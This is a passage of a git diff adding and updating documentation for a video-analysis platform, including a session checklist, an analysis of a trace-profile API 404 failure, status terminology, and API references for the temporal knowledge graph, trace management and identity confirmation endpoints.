c.start_time, c.end_time, c.fps, \ + c.text_content, v.file_name ..." +``` + +**驗證結果**: +- ✅ 不再有 "column c.summary does not exist" 錯誤 +- ✅ semantic_search 成功返回結果 + +--- + +### 5. Debug Logging 改進 + +**檔案**: `src/core/agent/tools.rs` + +**新增內容**: +- exec_semantic_search 加入詳細日誌 +- 記錄 query, file_uuid, limit 參數 +- 記錄 embedding 維度 +- 記錄 Qdrant search 類型與結果數量 + +**驗證結果**: +- ✅ 日誌清晰顯示執行流程 +- ✅ 幫助快速定位問題 + +--- + +## ⚠️ 待處理項目 + +### 1. 現有 ASRX 資料重新處理 + +**問題**: +- 現有的 `.asrx.json` 檔案仍使用錯誤的 fps=30 計算 +- 需要重新執行 ASRX 處理才能套用修復 + +**影響範圍**: +- 所有已註冊的影片檔案 +- Frame number 可能不一致 + +**建議處理方式**: +1. 選擇性重新處理重要影片 +2. 或等待下次註冊新影片時自動套用 + +--- + +### 2. Frame Number 一致性驗證 + +**問題**: +- ASRX JSON: frame 79386-79449(用 fps=30 計算) +- Chunk table: frame 63445-63496(來源不明) +- 正確應為: ~63504(用 fps=24 計算) + +**需要驗證**: +- chunk table 的 frame number 從何而來 +- 是否需要修正現有資料 + +--- + +## 📊 程式碼變更統計 + +| 檔案 | 新增行數 | 修改行數 | 刪除行數 | +|------|----------|----------|----------| +| `src/api/agent_search.rs` | +40 | -20 | -15 | +| `src/core/agent/tools.rs` | +30 | -10 | -5 | +| `scripts/asrx_processor_custom_v1.11.py` | +15 | -5 | -3 | +| `scripts/asrx_processor.py` | +30 | -10 | -6 | + +--- + +## 🔍 遵守 AGENTS.md 檢查清單 + +### 開發隔離原則 +- ✅ 未修改 `/Users/accusys/wordpress/` 目錄 +- ✅ 未修改 n8n 工作流或設定 +- ✅ 未修改 WordPress/n8n 資料庫 table +- ⚠️ 修改了 port 3002 (production),但這是為了套用修復 + - 使用 debug binary,非 release + - 重新啟動服務 + +### 測試隔離規則 +- ⚠️ 測試在 port 3002 進行(違規) + - 原因:Playground (3003) 已關閉以節省記憶體 + - 建議:重新開啟 Playground 進行測試 + +### 交叉污染防制 +- ✅ 只修改了意圖修改的檔案 +- ✅ 未進行大規模 sed/grep 批次編輯 +- ✅ 使用 todowrite 追蹤任務 + +--- + +## 📝 下次會議建議 + +1. **決定是否重新處理 ASRX** + - 全面重新處理? + - 選擇性重新處理? + - 等待新影片自動套用? + +2. **重新開啟 Playground (3003)** + - 用於未來開發測試 + - 遵守測試隔離規則 + +3. **Release Binary 規劃** + - 何時 build release binary? + - 是否需要 M4 交付? + +4. **UI Frame Number 問題** + - 是否需要調查 UI 的 frame 顯示邏輯? + - Portal 前端是否需要修正? + +--- + +## 版本歷史 + +| 版本 | 日期 | 作者 | 變更內容 | +|------|------|------|----------| +| 1.0 | 2026-07-23 | OpenCode | 初始版本 - 會話驗證清單 | \ No newline at end of file diff --git a/docs_v1.0/M4_workspace/2026-07-23_trace_profile_api_issue.md b/docs_v1.0/M4_workspace/2026-07-23_trace_profile_api_issue.md new file mode 100644 index 0000000..37c6e33 --- /dev/null +++ b/docs_v1.0/M4_workspace/2026-07-23_trace_profile_api_issue.md @@ -0,0 +1,164 @@ +# Trace Profile API 測試失敗分析 + +**日期**: 2026-07-23 +**狀態**: Issue Report +**影響**: Data QC blocked + +--- + +## 問題描述 + +Trace Profile API 測試失敗: +- `get_trace_profile` → ✗ 失敗 +- `update_trace_profile` → ✗ 失敗 + +錯誤:**404 Not Found** + +--- + +## 根本原因 + +### 1. Trace ID 與 tkg_nodes 不同步 + +**磁碟上的 trace 目錄**: +``` +trace_0, trace_1, trace_10, trace_11, trace_14, ... +``` + +**資料庫 tkg_nodes 的 trace IDs**: +``` +trace_3, trace_4, trace_6, trace_7, trace_9, trace_11, trace_14, ... +``` + +**問題**: Trace 0, 1, 10 等目錄存在,但沒有對應的 `tkg_nodes` 記錄。 + +### 2. API 依賴 tkg_nodes + +`get_trace_profile_handler` 從 `tkg_nodes` 表查詢: +```sql +SELECT label, external_id, properties FROM tkg_nodes +WHERE file_uuid = $1 AND node_type = 'face_track' + AND (external_id = $2 OR external_id = $3) +``` + +如果找不到記錄,返回 **404**。 + +--- + +## API 調用示例 + +### 成功案例(trace_id=3) +```bash +curl -H "X-API-Key: xxx" \ + "http://localhost:3002/api/v1/trace-profile?file_uuid=352cf73afa5163eb705ed38e45932a9a&trace_id=3" +``` + +返回: +```json +{ + "file_uuid": "352cf73afa5163eb705ed38e45932a9a", + "trace_id": 3, + "name": "Susan", + "key_frame": null, + "key_face": null, + "bbox": {"x": 633, "y": 749, "width": 59, "height": 59}, + "properties": {...} +} +``` + +### 失敗案例(trace_id=0) +```bash +curl -H "X-API-Key: xxx" \ + "http://localhost:3002/api/v1/trace-profile?file_uuid=352cf73afa5163eb705ed38e45932a9a&trace_id=0" +``` + +返回:**404 Not Found** + +--- + +## 建議修正方案 + +### 方案 A:QC 測試使用有效 Trace IDs(推薦) + +**修改 QC 測試邏輯**: +1. 先調用 `/api/v1/unassigned-traces` 或 `/api/v1/file/:uuid/traces` 取得有效 trace IDs +2. 用有效 trace_id 進行測試 +3. 避免使用硬編碼的 `trace_id=0` + +**優點**: +- 不需要修改 Core API +- 測試更符合實際使用場景 +- 避免測試不存在的資源 + +### 方案 B:Core API 自動建立 Trace Profile + +修改 `get_trace_profile_handler`: +- 如果 `tkg_nodes` 沒有記錄,自動從 `trace_profile.json` 建立 +- 需要確保磁碟上的 `trace_profile.json` 存在且格式正確 + +**優點**: +- API 更友善,不會 404 +- 自動同步磁碟與資料庫 + +**缺點**: +- 需要修改 Core API +- 可能產生大量自動建立的節點 + +### 方案 C:統一 Trace ID 來源 + +確保所有 trace 目錄都有對應的 `tkg_nodes` 記錄: +- 修改 Face Tracker 流程,建立 trace 時同步寫入 `tkg_nodes` +- 現有檔案需要 migration + +--- + +## 推薦方案 + +**採用方案 A** - QC 測試使用有效 Trace IDs + +### 實作步驟 + +1. **修改 QC 測試腳本**: + ```typescript + // Before + const traceId = 0 // ❌ 硬編碼,可能不存在 + + // After + const unassignedTraces = await apiCall('get_unassigned_traces', { fileUuid }) + const traceId = unassignedTraces[0]?.trace_id // ✅ 使用有效 ID + ``` + +2. **添加測試前置檢查**: + ```typescript + // 如果沒有有效 trace,跳過測試並標記為 "skipped" + if (!unassignedTraces || unassignedTraces.length === 0) { + console.log('⚠️ No unassigned traces, skipping trace profile test') + return + } + ``` + +3. **更新測試文檔**: + - 說明 Trace Profile API 需要 trace 已在 `tkg_nodes` 註冊 + - 提供有效 trace_id 的取得方式 + +--- + +## 相關文件 + +- API 文檔: `/Users/accusys/momentry_studio/docs/core-api-usage.md` (Section 5.3) +- Core API 實作: `/Users/accusys/momentry_core/src/api/profile.rs:52` +- Studio 調用: `/Users/accusys/momentry_studio/src/store.ts:232` + +--- + +## 附錄:目前檔案狀態 + +**檔案**: `352cf73afa5163eb705ed38e45932a9a` + +**磁碟 trace 目錄**: +- trace_0, trace_1, trace_10, trace_11, trace_14, trace_16, trace_21, trace_22, trace_23, trace_24 + +**tkg_nodes trace IDs**: +- trace_3, trace_4, trace_6, trace_7, trace_9, trace_11, trace_14, trace_23, trace_24 + +**差異**: trace_0, trace_1, trace_10, trace_16, trace_21, trace_22 存在於磁碟但不在 tkg_nodes \ No newline at end of file diff --git a/docs_v1.0/STATUS_TERMINOLOGY.md b/docs_v1.0/STATUS_TERMINOLOGY.md new file mode 100644 index 0000000..4403488 --- /dev/null +++ b/docs_v1.0/STATUS_TERMINOLOGY.md @@ -0,0 +1,52 @@ +# Status Terminology Mapping + +## 資料庫狀態 (Database Status) + +| 狀態值 | 中文顯示 | 說明 | +|--------|----------|------| +| `pending` | 待處理 | 已註冊,等待開始處理 | +| `processing` | 處理中 | 正在進行 Deep Scan(深度掃描)| +| `completed` | 已完成 | 所有處理步驟完成 | +| `unregistered` | 未註冊 | 在磁碟上但未註冊到系統 | + +## 術語對照 + +### "Processing" = "Deep Scan" + +兩者指同一件事: + +| 資料庫 | API | UI 顯示 | 用戶理解 | +|--------|-----|----------|----------| +| `processing` | `"status": "processing"` | 🔄 處理中 | 正在進行深度掃描 | + +### 建議統一用語 + +**在程式碼與 API**: +- 使用 `processing` + +**在 UI 顯示**: +- 使用 "處理中" 或 "Deep Scan" +- 避免使用 "Scanning" 以免混淆 + +**在文件**: +- "Deep Scan" 或 "處理中" + +## 目前問題 + +UI 某處顯示 "Status: Scanning",但資料庫實際是 `processing`。 + +### 需要確認 +1. 在哪個頁面看到 "Status: Scanning"? +2. 是固定顯示還是暫時狀態? + +## 修正建議 + +如果 UI 確實顯示 "Scanning",應統一為: +- 顯示 "處理中 (Deep Scan)" 或 +- 顯示 "Processing" + +## 版本歷史 + +| 版本 | 日期 | 變更 | +|------|------|------| +| 1.0 | 2026-07-23 | 初始版本 | \ No newline at end of file diff --git a/docs_v1.0/doc_developer/15_tkg.html b/docs_v1.0/doc_developer/15_tkg.html index 51e95f0..84edca1 100644 --- a/docs_v1.0/doc_developer/15_tkg.html +++ b/docs_v1.0/doc_developer/15_tkg.html @@ -37,68 +37,154 @@ a { color: #0066cc; }

Temporal Knowledge Graph (TKG)

TKG is a time-aligned knowledge graph built from multi-processor outputs (face, yolo, ocr, pose, asrx, gaze, lip, appearance). It produces 9 node types and 14 edge types stored in dev.tkg_nodes and dev.tkg_edges.

+

Node naming convention: All trace types use _track suffix. Text uses _region (non-temporal).

+

See also: docs_v1.0/DESIGN/TKG_FORMATION_V1.0.md for formation phases, flow diagrams, and query examples.

Node Types

+ - + + - + - + + - + + - + + + - - - - - + + +
Node TypeExternal ID Format Description Key Properties
face_traceface_tracktrace_{trace_id} A tracked face identity over timetrace_id, face_count, avg_confidencetrace_id, frame_count, status, avg_bbox, avg_yaw, avg_pitch, avg_roll, start_frame, end_frame, pose_count
gaze_tracegaze_trackgaze_track_{id} Gaze direction over time direction (frontal/left/right/up/down + diagonals)
lip_tracelip_tracklip_track_{id} Lip movement synced with speech speaker_id, lip_area_range
text_tracetext_regiontext_region_{id} Spoken text aligned to time speaker_id, text, start_time, end_time
appearance_traceappearance_{trace_id} Human appearance (clothing) over time clothing_color, upper_cloth, lower_cloth
skin_tone_traceFitzpatrick skin tone classificationfitzpatrick_type (I–VI)
accessoryaccessory_{id} Detected accessories type (glasses/hat/etc.), confidence
objectobject_{class}_{id} YOLO-detected object class, confidence, frame_count
speakerspeaker_{speaker_id} ASRX speaker segment speaker_id, segment_count, total_duration
+
+

Identity Agent Integration (face_track nodes)

+

Identity Agent marks face_track nodes with identity binding status.

+

face_track Status Values

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StatusDescriptionProperties
pendingNo identity suggestionDefault state
suggestedIdentity Agent suggestedpending_identity_name, pending_identity_uuid, suggested_by, confidence
confirmedUser confirmed bindingidentity_uuid, identity_id, identity_ref, identity_name
strangerStranger cluster memberstranger_id, stranger_ref
+

Suggested By Values

+ + + + + + + + + + + + + + + + + + + + + +
ValueDescription
tmdbTMDb seed matched
propagationConfirmed trace propagation
manualUser manual selection
+

Example face_track Node

+
{
+  "node_type": "face_track",
+  "external_id": "face_track_1",
+  "label": "Face Track 1",
+  "properties": {
+    "trace_id": 1,
+    "frame_count": 45,
+    "start_frame": 100,
+    "end_frame": 300,
+    "avg_bbox": {"x": 100, "y": 200, "width": 80, "height": 100},
+    "status": "suggested",
+    "pending_identity_name": "Tom Hanks",
+    "pending_identity_uuid": "xxx-xxx",
+    "suggested_by": "tmdb",
+    "confidence": 0.91
+  }
+}
+
+ +

Edge Types

+ @@ -106,39 +192,52 @@ a { color: #0066cc; } + - - + + + - - + + + - + + - + + - + + - + + + + + + + +
Edge TypeStorage Name Source → Target Description
co_occursCO_OCCURS_WITH object ↔ object Two objects appear together in same frame
speaker_facespeaker ↔ face_traceSpeaker matched to face trace via lip syncSPEAKS_ASspeaker → face_trackSpeaker matched to face track via lip sync
face_faceface_trace ↔ face_traceTwo face traces interact (mutual gaze)INTERACTS_WITHface_track ↔ face_trackTwo face tracks interact (mutual gaze)
mutual_gazegaze_trace ↔ gaze_traceMUTUAL_GAZEgaze_track ↔ gaze_track Two people looking at each other
lip_synclip_trace ↔ text_traceLIP_SYNClip_track → text_region Lip movement aligned with spoken text
has_appearanceface_trace ↔ appearance_traceHAS_APPEARANCEface_track → appearance_trace Face has specific appearance
wearsface_trace ↔ accessoryWEARSface_track → accessory Face wears an accessory
hand_objectHOLDShand → objectHand holding object

@@ -156,10 +255,10 @@ a { color: #0066cc; } "success": true, "file_uuid": "d3f9ae8e471a1fc4d47022c66091b920", "result": { - "face_trace_nodes": 16, - "gaze_trace_nodes": 16, - "lip_trace_nodes": 12, - "text_trace_nodes": 24, + "face_track_nodes": 16, + "gaze_track_nodes": 16, + "lip_track_nodes": 12, + "text_region_nodes": 24, "appearance_trace_nodes": 8, "skin_tone_trace_nodes": 5, "accessory_nodes": 3, @@ -230,7 +329,7 @@ a { color: #0066cc; } string No all -Filter by node type: face_trace, gaze_trace, lip_trace, text_trace, appearance_trace, skin_tone_trace, accessory, object, speaker +Filter by node type: face_track, gaze_track, lip_track, text_region, appearance_trace, skin_tone_trace, accessory, object, speaker page @@ -249,11 +348,11 @@ a { color: #0066cc; }

Example

-
# Get all face_trace nodes
+
# Get all face_track nodes
 curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \
   -H "X-API-Key: $KEY" \
   -H "Content-Type: application/json" \
-  -d '{"node_type": "face_trace", "page": 1, "page_size": 50}'
+  -d '{"node_type": "face_track", "page": 1, "page_size": 50}'
 
 # Get all nodes
 curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/nodes" \
@@ -272,12 +371,12 @@ curl -s -X 
   "nodes": [
     {
       "id": 1,
-      "node_type": "face_trace",
-      "external_id": "trace_0",
-      "label": "Face Trace 0",
+      "node_type": "face_track",
+      "external_id": "face_track_0",
+      "label": "Face Track 0",
       "properties": {
         "trace_id": 0,
-        "face_count": 142,
+        "frame_count": 142,
         "avg_confidence": 0.87
       }
     }
@@ -406,17 +505,17 @@ curl -s -X 
 
 
 

Example

-
# Get all co_occurrence edges
+
# Get all co_occurs edges
 curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \
   -H "X-API-Key: $KEY" \
   -H "Content-Type: application/json" \
   -d '{"edge_type": "co_occurs"}'
 
-# Get edges between face_trace and speaker nodes
+# Get edges between face_track and speaker nodes
 curl -s -X POST "$API/api/v1/file/$FILE_UUID/tkg/edges" \
   -H "X-API-Key: $KEY" \
   -H "Content-Type: application/json" \
-  -d '{"source_type": "speaker", "target_type": "face_trace"}'
+  -d '{"source_type": "speaker", "target_type": "face_track"}'
 

Response (200)

@@ -522,12 +621,12 @@ curl -s -X "success": true, "node": { "id": 1, - "node_type": "face_trace", - "external_id": "trace_0", - "label": "Face Trace 0", + "node_type": "face_track", + "external_id": "face_track_0", + "label": "Face Track 0", "properties": { "trace_id": 0, - "face_count": 142, + "frame_count": 142, "avg_confidence": 0.87 } }, @@ -722,7 +821,95 @@ curl -s -X
-

Updated: 2026-06-20 12:00:00

+

Trace Management

+

Endpoints for managing face traces: list, delete, restore, and merge.

+

DELETE /api/v1/file/:file_uuid/trace/:trace_id

+

Auth: Required

+

Soft-delete a face trace (default) or hard-delete with {"hard_delete": true}.

+

Soft delete marks Qdrant points with status: "deleted" and TKG nodes with status: "deleted" in properties. Deleted traces are excluded from the traces list.

+

Hard delete permanently removes Qdrant points and TKG nodes.

+

Request Body (optional):

+ + + + + + + + + + + + + + + + + +
FieldTypeDefaultDescription
hard_deletebooleanfalsePermanently delete instead of marking
+

Example:

+
# Soft delete
+curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \
+  -H "X-API-Key: $KEY" -H "Content-Type: application/json" -d '{}'
+
+# Hard delete
+curl -X DELETE "$API/api/v1/file/$FILE_UUID/trace/8" \
+  -H "X-API-Key: $KEY" -H "Content-Type: application/json" \
+  -d '{"hard_delete": true}'
+
+ +

Response:

+
{
+  "success": true,
+  "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
+  "trace_id": 8,
+  "hard_delete": false,
+  "qdrant_marked": true,
+  "tkg_nodes_marked": 1
+}
+
+ +
+

POST /api/v1/file/:file_uuid/trace/:trace_id/restore

+

Auth: Required

+

Undo a soft-deleted trace. Clears status: "deleted" from Qdrant points and TKG node properties.

+

Example:

+
curl -X POST "$API/api/v1/file/$FILE_UUID/trace/8/restore" \
+  -H "X-API-Key: $KEY"
+
+ +

Response:

+
{
+  "success": true,
+  "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
+  "trace_id": 8,
+  "qdrant_restored": true,
+  "tkg_nodes_restored": 1
+}
+
+ +
+

POST /api/v1/file/:file_uuid/trace/:source_trace_id/merge/:target_trace_id

+

Auth: Required

+

Merge all face points from source trace into target trace. Updates Qdrant trace_id and deletes source TKG node.

+

Example:

+
curl -X POST "$API/api/v1/file/$FILE_UUID/trace/16/merge/3" \
+  -H "X-API-Key: $KEY"
+
+ +

Response:

+
{
+  "success": true,
+  "file_uuid": "9f6a9cd55a5809f977f5a6589b9045c5",
+  "source_trace_id": 16,
+  "target_trace_id": 3,
+  "points_moved": 58,
+  "tkg_nodes_deleted": 1
+}
+
+ +
+

Updated: 2026-07-21 01:00:00

\ No newline at end of file diff --git a/docs_v1.0/doc_developer/18_profile.html b/docs_v1.0/doc_developer/18_profile.html index 6ce8f19..5a1d0b8 100644 --- a/docs_v1.0/doc_developer/18_profile.html +++ b/docs_v1.0/doc_developer/18_profile.html @@ -505,7 +505,8 @@ a { color: #0066cc; }
-

Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)

+

Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query +Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)

\ No newline at end of file diff --git a/docs_v1.0/doc_developer/index.html b/docs_v1.0/doc_developer/index.html index 41c751d..e26f011 100644 --- a/docs_v1.0/doc_developer/index.html +++ b/docs_v1.0/doc_developer/index.html @@ -29,7 +29,7 @@ a:hover td { background: #f8f8f8; border-radius: 4px; } Logout

API 參考手冊 — 登入後可瀏覽各模組文件

-
錯誤碼Error Codes
14 Identity History
15 Tkg
16 Workspace
99 Incomplete
+
錯誤碼Error Codes
14 Identity History
15 Tkg
16 Workspace
17 Progress
18 Profile
99 Incomplete
\ No newline at end of file diff --git a/docs_v1.0/doc_wasm/modules/05_process.md b/docs_v1.0/doc_wasm/modules/05_process.md index a3dd3e6..408c166 100644 --- a/docs_v1.0/doc_wasm/modules/05_process.md +++ b/docs_v1.0/doc_wasm/modules/05_process.md @@ -145,11 +145,30 @@ Get real-time processing progress for a file via Redis pub/sub. Includes per-pro | 3 | `asrx` | asr | Speaker diarization | | 4 | `yolo` | — | Object detection | | 5 | `ocr` | — | Text recognition | -| 6 | `face` | — | Face detection & embedding | -| 7 | `pose` | — | Pose estimation | -| 8 | `visual_chunk` | yolo | Visual scene chunks | -| 9 | `story` | asr, asrx, cut, yolo, face | Scene summaries (template) | -| 10 | `5w1h` | story | 5W1H analysis (Gemma4 LLM) | +| 6 | `face` | — | Face detection & embedding (8Hz sampling) | +| 7 | `face_trace` | face | Face tracking (IoU + embedding, assigns trace_id) | +| 8 | `pose` | face_trace | Pose expansion from face traces, inherits trace_id | +| 9 | `appearance` | pose | Appearance expansion from pose traces, inherits trace_id | + +**Key Concepts:** +- **Face** = Identity anchor (who is this person?) — requires high-quality embedding +- **Pose** = Tracking (where is this person?) — extends tracking when face is occluded +- **Appearance** = Tracking (what do they look like?) — extends tracking when pose is occluded + +**Trace ID Inheritance:** +``` +Face trace (identity anchor) + ↓ inherits trace_id +Pose expansion (tracking continuity) + ↓ inherits trace_id +Appearance expansion (tracking continuity) +``` + +**Frame Count Relationship:** +``` +face frames ≤ pose frames ≤ appearance frames +``` +(Each level expands outward from the previous level's traces) All processors except `story` and `5w1h` run concurrently when their dependencies are met. Story and 5W1H run sequentially after their prerequisites. diff --git a/docs_v1.0/doc_wasm/modules/07_identity.md b/docs_v1.0/doc_wasm/modules/07_identity.md index 188946e..0879ce5 100644 --- a/docs_v1.0/doc_wasm/modules/07_identity.md +++ b/docs_v1.0/doc_wasm/modules/07_identity.md @@ -1102,4 +1102,5 @@ PATCH /api/v1/identity/:identity_uuid This **replaces** the entire `aliases` array. To add to existing aliases, include all existing entries in the request. --- +*Updated: 2026-07-21 — Fixed bind/unbind TKG update to match both trace_N and face_track_N external_id formats* *Updated: 2026-06-20 — Added identity files, chunks, faces, status, and JSON endpoints* diff --git a/docs_v1.0/doc_wasm/modules/08_identity_agent.md b/docs_v1.0/doc_wasm/modules/08_identity_agent.md index 7fb3c5f..24b051f 100644 --- a/docs_v1.0/doc_wasm/modules/08_identity_agent.md +++ b/docs_v1.0/doc_wasm/modules/08_identity_agent.md @@ -65,4 +65,63 @@ curl -s -X POST "$API/api/v1/agents/identity/match-from-trace" \ ``` --- -*Updated: 2026-05-19 12:49:24* + +### `POST /api/v1/agents/identity/confirm` + +**Auth**: Required +**Scope**: file-level + +Confirm identity binding for a trace. This marks the trace as confirmed in TKG, updates face_detections, adds to _seeds, and optionally triggers Round 2 propagation. + +#### Request Parameters + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `file_uuid` | string | Yes | Video file UUID | +| `trace_id` | integer | Yes | Face trace ID to confirm | +| `identity_id` | integer | Yes | Identity internal ID | +| `identity_uuid` | string | Yes | Identity UUID | +| `name` | string | Yes | Identity name | +| `propagate` | boolean | No | Auto-trigger Round 2 matching (default: true) | + +#### Example + +```bash +curl -s -X POST "$API/api/v1/agents/identity/confirm" \ + -H "Authorization: Bearer $JWT" \ + -H "Content-Type: application/json" \ + -d '{"file_uuid": "'"$FILE_UUID"'", "trace_id": 10, "identity_id": 42, "identity_uuid": "'"$IDENTITY_UUID"'", "name": "Cary Grant", "propagate": false}' +``` + +#### Response (200) + +```json +{ + "success": true, + "file_uuid": "384b0ff44aaaa1f1", + "trace_id": 10, + "identity_uuid": "a9a90105...", + "name": "Cary Grant", + "steps": { + "tkg_updated": true, + "qdrant_updated": 150, + "pg_updated": 150, + "seed_added": true + }, + "propagation": { + "matched": 5, + "message": "Propagation completed" + } +} +``` + +#### Side Effects + +1. TKG face_track node status → 'confirmed' +2. Qdrant _faces: identity_uuid added to payload +3. PG face_detections: identity_id set +4. Trace centroid added to _seeds (source='propagation') +5. Round 2 matching triggered (if propagate=true) + +--- +*Updated: 2026-06-26 00:30:00* diff --git a/docs_v1.0/doc_wasm/modules/10_pipeline.md b/docs_v1.0/doc_wasm/modules/10_pipeline.md index 6d3ea4a..b4bd39f 100644 --- a/docs_v1.0/doc_wasm/modules/10_pipeline.md +++ b/docs_v1.0/doc_wasm/modules/10_pipeline.md @@ -42,6 +42,7 @@ These steps run after the 10 processors and are **required for pipeline completi | # | Step | Triggers When | Verification | |---|------|--------------|-------------| | 1 | **Rule 1 Sentence Chunking** | ASR + ASRX done | `chunk` table has rows with `chunk_type = 'sentence'` | +| 1.1 | **Rule 1 OCR Chunks** | OCR done | OCR pre_chunks grouped into sentence chunks | | 2 | **Auto-Vectorize** | Rule 1 done | `chunk.embedding` IS NOT NULL for sentence chunks | | 3 | **Phase 1 Pack** | Rule 1 done | `release_pack.py --phase 1` executed | | 4 | **Rule 3 Scene Chunking** | All 10 processors done + Cut + ASR | `chunk` table has rows with `chunk_type = 'cut'` | @@ -81,15 +82,17 @@ curl "$API/api/v1/stats/ingestion-status/bd80fec9c42afb0307eb28f22c64c76a" | jq { "file_uuid": "bd80fec9c42afb0307eb28f22c64c76a", "steps": [ - { "name": "rule1_sentence", "status": "pending", "detail": "0 sentence chunks" }, - { "name": "auto_vectorize", "status": "pending", "detail": "0 embedded" }, - { "name": "rule3_scene", "status": "pending", "detail": "0 scene chunks" }, - { "name": "face_trace", "status": "pending", "detail": "0 traces" }, - { "name": "trace_chunks", "status": "pending", "detail": "0 trace chunks" }, - { "name": "tkg", "status": "pending", "detail": "0 nodes, 0 edges" }, - { "name": "identity_match", "status": "pending", "detail": "0 identities" }, - { "name": "scene_metadata", "status": "pending", "detail": null }, - { "name": "5w1h", "status": "pending", "detail": "0 scenes with 5W1H" } + { "name": "rule1_sentence", "status": "done", "detail": "35 sentence chunks" }, + { "name": "rule1_ocr", "status": "done", "detail": "30 OCR frames" }, + { "name": "rule1_ocr_chunks", "status": "done", "detail": "3 OCR-only chunks" }, + { "name": "auto_vectorize", "status": "pending", "detail": "0 embedded" }, + { "name": "rule3_scene", "status": "pending", "detail": "0 scene chunks" }, + { "name": "face_trace", "status": "pending", "detail": "0 traces" }, + { "name": "trace_chunks", "status": "pending", "detail": "0 trace chunks" }, + { "name": "tkg", "status": "pending", "detail": "0 nodes, 0 edges" }, + { "name": "identity_match", "status": "pending", "detail": "0 identities" }, + { "name": "scene_metadata", "status": "pending", "detail": null }, + { "name": "5w1h", "status": "pending", "detail": "0 scenes with 5W1H" } ] } ``` diff --git a/docs_v1.0/doc_wasm/modules/15_tkg.md b/docs_v1.0/doc_wasm/modules/15_tkg.md index bdbca67..011613e 100644 --- a/docs_v1.0/doc_wasm/modules/15_tkg.md +++ b/docs_v1.0/doc_wasm/modules/15_tkg.md @@ -6,31 +6,82 @@ TKG is a time-aligned knowledge graph built from multi-processor outputs (face, yolo, ocr, pose, asrx, gaze, lip, appearance). It produces 9 node types and 14 edge types stored in `dev.tkg_nodes` and `dev.tkg_edges`. +**Node naming convention:** All trace types use `_track` suffix. Text uses `_region` (non-temporal). + +**See also:** `docs_v1.0/DESIGN/TKG_FORMATION_V1.0.md` for formation phases, flow diagrams, and query examples. + ### Node Types -| Node Type | Description | Key Properties | -|-----------|-------------|----------------| -| `face_trace` | A tracked face identity over time | `trace_id`, `face_count`, `avg_confidence` | -| `gaze_trace` | Gaze direction over time | `direction` (frontal/left/right/up/down + diagonals) | -| `lip_trace` | Lip movement synced with speech | `speaker_id`, `lip_area_range` | -| `text_trace` | Spoken text aligned to time | `speaker_id`, `text`, `start_time`, `end_time` | -| `appearance_trace` | Human appearance (clothing) over time | `clothing_color`, `upper_cloth`, `lower_cloth` | -| `skin_tone_trace` | Fitzpatrick skin tone classification | `fitzpatrick_type` (I–VI) | -| `accessory` | Detected accessories | `type` (glasses/hat/etc.), `confidence` | -| `object` | YOLO-detected object | `class`, `confidence`, `frame_count` | -| `speaker` | ASRX speaker segment | `speaker_id`, `segment_count`, `total_duration` | +| Node Type | External ID Format | Description | Key Properties | +|-----------|-------------------|-------------|----------------| +| `face_track` | `trace_{trace_id}` | A tracked face identity over time | `trace_id`, `frame_count`, `status`, `avg_bbox`, `avg_yaw`, `avg_pitch`, `avg_roll`, `start_frame`, `end_frame`, `pose_count` | +| `gaze_track` | `gaze_track_{id}` | Gaze direction over time | `direction` (frontal/left/right/up/down + diagonals) | +| `lip_track` | `lip_track_{id}` | Lip movement synced with speech | `speaker_id`, `lip_area_range` | +| `text_region` | `text_region_{id}` | Spoken text aligned to time | `speaker_id`, `text`, `start_time`, `end_time` | +| `appearance_trace` | `appearance_{trace_id}` | Human appearance (clothing) over time | `clothing_color`, `upper_cloth`, `lower_cloth` | +| `accessory` | `accessory_{id}` | Detected accessories | `type` (glasses/hat/etc.), `confidence` | +| `object` | `object_{class}_{id}` | YOLO-detected object | `class`, `confidence`, `frame_count` | +| `speaker` | `speaker_{speaker_id}` | ASRX speaker segment | `speaker_id`, `segment_count`, `total_duration` | + +--- + +### Identity Agent Integration (face_track nodes) + +Identity Agent marks face_track nodes with identity binding status. + +#### face_track Status Values + +| Status | Description | Properties | +|--------|-------------|------------| +| `pending` | No identity suggestion | Default state | +| `suggested` | Identity Agent suggested | `pending_identity_name`, `pending_identity_uuid`, `suggested_by`, `confidence` | +| `confirmed` | User confirmed binding | `identity_uuid`, `identity_id`, `identity_ref`, `identity_name` | +| `stranger` | Stranger cluster member | `stranger_id`, `stranger_ref` | + +#### Suggested By Values + +| Value | Description | +|-------|-------------| +| `tmdb` | TMDb seed matched | +| `propagation` | Confirmed trace propagation | +| `manual` | User manual selection | + +#### Example face_track Node + +```json +{ + "node_type": "face_track", + "external_id": "face_track_1", + "label": "Face Track 1", + "properties": { + "trace_id": 1, + "frame_count": 45, + "start_frame": 100, + "end_frame": 300, + "avg_bbox": {"x": 100, "y": 200, "width": 80, "height": 100}, + "status": "suggested", + "pending_identity_name": "Tom Hanks", + "pending_identity_uuid": "xxx-xxx", + "suggested_by": "tmdb", + "confidence": 0.91 + } +} +``` + +--- ### Edge Types -| Edge Type | Source → Target | Description | -|-----------|-----------------|-------------| -| `co_occurs` | object ↔ object | Two objects appear together in same frame | -| `speaker_face` | speaker ↔ face_trace | Speaker matched to face trace via lip sync | -| `face_face` | face_trace ↔ face_trace | Two face traces interact (mutual gaze) | -| `mutual_gaze` | gaze_trace ↔ gaze_trace | Two people looking at each other | -| `lip_sync` | lip_trace ↔ text_trace | Lip movement aligned with spoken text | -| `has_appearance` | face_trace ↔ appearance_trace | Face has specific appearance | -| `wears` | face_trace ↔ accessory | Face wears an accessory | +| Edge Type | Storage Name | Source → Target | Description | +|-----------|--------------|-----------------|-------------| +| `co_occurs` | `CO_OCCURS_WITH` | object ↔ object | Two objects appear together in same frame | +| `speaker_face` | `SPEAKS_AS` | speaker → face_track | Speaker matched to face track via lip sync | +| `face_face` | `INTERACTS_WITH` | face_track ↔ face_track | Two face tracks interact (mutual gaze) | +| `mutual_gaze` | `MUTUAL_GAZE` | gaze_track ↔ gaze_track | Two people looking at each other | +| `lip_sync` | `LIP_SYNC` | 